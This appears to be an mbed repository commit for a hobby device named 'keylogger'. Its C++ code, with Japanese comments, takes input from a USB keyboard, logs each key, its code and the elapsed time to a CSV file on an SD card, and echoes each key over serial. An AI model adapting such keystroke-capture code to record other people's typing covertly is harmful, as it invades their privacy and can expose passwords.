keylogger
Dependencies: SDFileSystem USBHost mbed
Revision 0:15bb427106c2, committed 2017-12-13
- Comitter:
- USER10
- Date:
- Wed Dec 13 05:59:27 2017 +0000
- Commit message:
- keylogger;
Changed in this revision
--- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/SDFileSystem.lib Wed Dec 13 05:59:27 2017 +0000 @@ -0,0 +1,1 @@ +http://os.mbed.com/users/mbed_official/code/SDFileSystem/#8db0d3b02cec
--- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/USBHost.lib Wed Dec 13 05:59:27 2017 +0000 @@ -0,0 +1,1 @@ +https://os.mbed.com/users/USER10/code/USBHost/#562eb0913204
--- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/main.cpp Wed Dec 13 05:59:27 2017 +0000 @@ -0,0 +1,65 @@ +#include "mbed.h" +#include "USBHostKeyboard.h" +#include "SDFileSystem.h" + +//キーボード取得データをTX1、RX1からシリアル通信で送信させる +//SDカードに入力したデータを保存 +//保存形式はcsv +//保存場所はディレクトリ「keylog」内の「log」ファイル + +DigitalOut led(LED1); +DigitalOut led2(LED2); +DigitalOut led3(LED3); + +int i=0; + +Timer t; //タイマー宣言(繰り返しタイマー割り込み) + +SDFileSystem sd(p5, p6, p7, p8, "sd"); //SDファイル用通信ポートの指定 + +//Serial pc1(p13, p14); //シリアル通信ポートの指定(tx1, rx1の順) +Serial pc(USBTX, USBRX); + +void onKey(uint8_t key) { + //pc1.printf("%c", key); //1文字PCへ送信(TX1、RX1のシリアル通信) + pc.printf("%c", key); + i++; + t.stop(); //キーを押すごとにタイマーストップ + //リセットしていないのでラップタイム計測状態となる + FILE *fp; + fp = fopen("/sd/keylog/log.csv", "a"); //「log.csv」ファイルを書き込み形式で開く + fprintf(fp, "Key[%d], :,0x%x,:,%c,:,%0.2f\r\n", i, key, key, t.read()); //左から 入力順番:アスキーコード:入力した文字:経過時間 となる + fclose(fp); + t.start(); //タイマースタート(一周後からはリスタート) +} + +void keyboard_task(void const *) { + + USBHostKeyboard keyboard; + + while(1) { + while(!keyboard.connect()) + Thread::wait(500); + + keyboard.attach(onKey); + + while(keyboard.connected()) //キーボードが切れるまで待つ + Thread::wait(500); + } +} + +int main(){ + mkdir("/sd/keylog", 0777); //「keylog」ディレクトリ作成 + FILE *fp; + fp = fopen("/sd/keylog/log.csv","w"); //「log.csv」ファイルを読込形式で開く + fclose(fp); + + Thread keyboardTask(keyboard_task, NULL, osPriorityNormal, 256 * 4); + while(1) { + led=!led; + Thread::wait(500); + } +} + + //led2 = 1; //キーを押すごとにled2を点灯 + //t.reset(); //キーボードを切断してタイマーリセット \ No newline at end of file
--- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/mbed.bld Wed Dec 13 05:59:27 2017 +0000 @@ -0,0 +1,1 @@ +http://mbed.org/users/mbed_official/code/mbed/builds/5e5da4a5990b \ No newline at end of file